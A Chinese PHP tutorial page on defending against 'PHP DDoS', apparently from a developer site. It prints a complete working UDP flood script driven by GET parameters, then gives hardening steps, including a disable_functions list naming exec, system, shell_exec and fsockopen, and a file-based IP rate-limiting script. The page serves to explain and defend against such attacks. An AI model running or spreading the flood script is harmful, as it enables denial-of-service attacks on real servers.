PHP DDos的几个防御方法详解
PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.
我们先来看php ddos代码,代码如下:
<?php $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "Flooded: $ip on port $rand "; $max_time = $time + $exec_time; for ($i = 0; $i < 65535; $i++) { $out.= "X"; } while (1) { $packets++; if (time() > $max_time) { break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if ($fp) { fwrite($fp, $out); fclose($fp); } } echo "Packet complete at " . time('h:i:s') . " with $packets (" . round(($packets * 65) / 1024, 2) . " mB) packets averaging " . round($packets / $exec_time, 2) . " packets/s n"; ?>
细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了.
于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法.
注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作.
1.打开php.ini,2.禁用危险函数
由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数,找到disable_functions,将前面的";"去掉,在等号后面增加如下代码:
phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen
3.设置PHP执行超时时间
如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间,找到max_execution_time,将前面的";"去掉,在等号后面增加正整数,单位为秒,如:30
4.禁用上传目录PHP执行权限
大概分为三种服务器:IIS,Apache、Nginx,具体步骤就不写了.
5.一个很暴力的方法
直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4
6.关闭用户中心
比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在.
7.修改管理员目录
这个方法就不细谈了,并不是对所有程序都适合.
8.修改默认管理帐号
很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名.
9.一个复杂且记得住的密码
不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.
后再再附一个php防ddos攻击的代码,代码如下:
<?php //查询禁止IP $ip = $_SERVER['REMOTE_ADDR']; $fileht = ".htaccess2"; if (!file_exists($fileht)) file_put_contents($fileht, ""); $filehtarr = @file($fileht); if (in_array($ip . "\r\n", $filehtarr)) die("Warning:" . "<br>" . "Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!"); //加入禁止IP $time = time(); $fileforbid = "log/forbidchk.dat"; if (file_exists($fileforbid)) { if ($time - filemtime($fileforbid) > 60) unlink($fileforbid); else { $fileforbidarr = @file($fileforbid); if ($ip == substr($fileforbidarr[0], 0, strlen($ip))) { if ($time - substr($fileforbidarr[1], 0, strlen($time)) > 600) unlink($fileforbid); elseif ($fileforbidarr[2] > 600) { file_put_contents($fileht, $ip . "\r\n", FILE_APPEND); unlink($fileforbid); } else { $fileforbidarr[2]++; file_put_contents($fileforbid, $fileforbidarr); } } } } //防刷新 $str = ""; $file = "log/ipdate.dat"; if (!file_exists("log") && !is_dir("log")) mkdir("log", 0777); if (!file_exists($file)) file_put_contents($file, ""); $allowTime = 120; //防刷新时间 $allowNum = 10; //防刷新次数 $uri = $_SERVER['REQUEST_URI']; $checkip = md5($ip); $checkuri = md5($uri); $yesno = true; $ipdate = @file($file); foreach ($ipdate as $k => $v) { $iptem = substr($v, 0, 32); $uritem = substr($v, 32, 32); $timetem = substr($v, 64, 10); $numtem = substr($v, 74); if ($time - $timetem < $allowTime) { if ($iptem != $checkip) $str.= $v; else { $yesno = false; if ($uritem != $checkuri) $str.= $iptem . $checkuri . $time . "1rn"; elseif ($numtem < $allowNum) $str.= $iptem . $uritem . $timetem . ($numtem + 1) . "\r\n"; else { if (!file_exists($fileforbid)) { $addforbidarr = array( $ip . "\r\n", time() . "\r\n", 1 ); file_put_contents($fileforbid, $addforbidarr); } file_put_contents("log/forbided_ip.log", $ip . "--" . date("Y-m-d H:i:s", time()) . "--" . $uri . "\r\n", FILE_APPEND); $timepass = $timetem + $allowTime - $time; die("Warning:" . "<br>" . "Sorry,you are forbided by refreshing frequently too much, Pls wait for " . $timepass . " seconds to continue!"); } } } } if ($yesno) $str.= $checkip . $checkuri . $time . "1rn"; file_put_contents($file, $str);
本文链接:http://www.phprm.com/develop/fs4617.html
收藏随意^^请保留教程地址.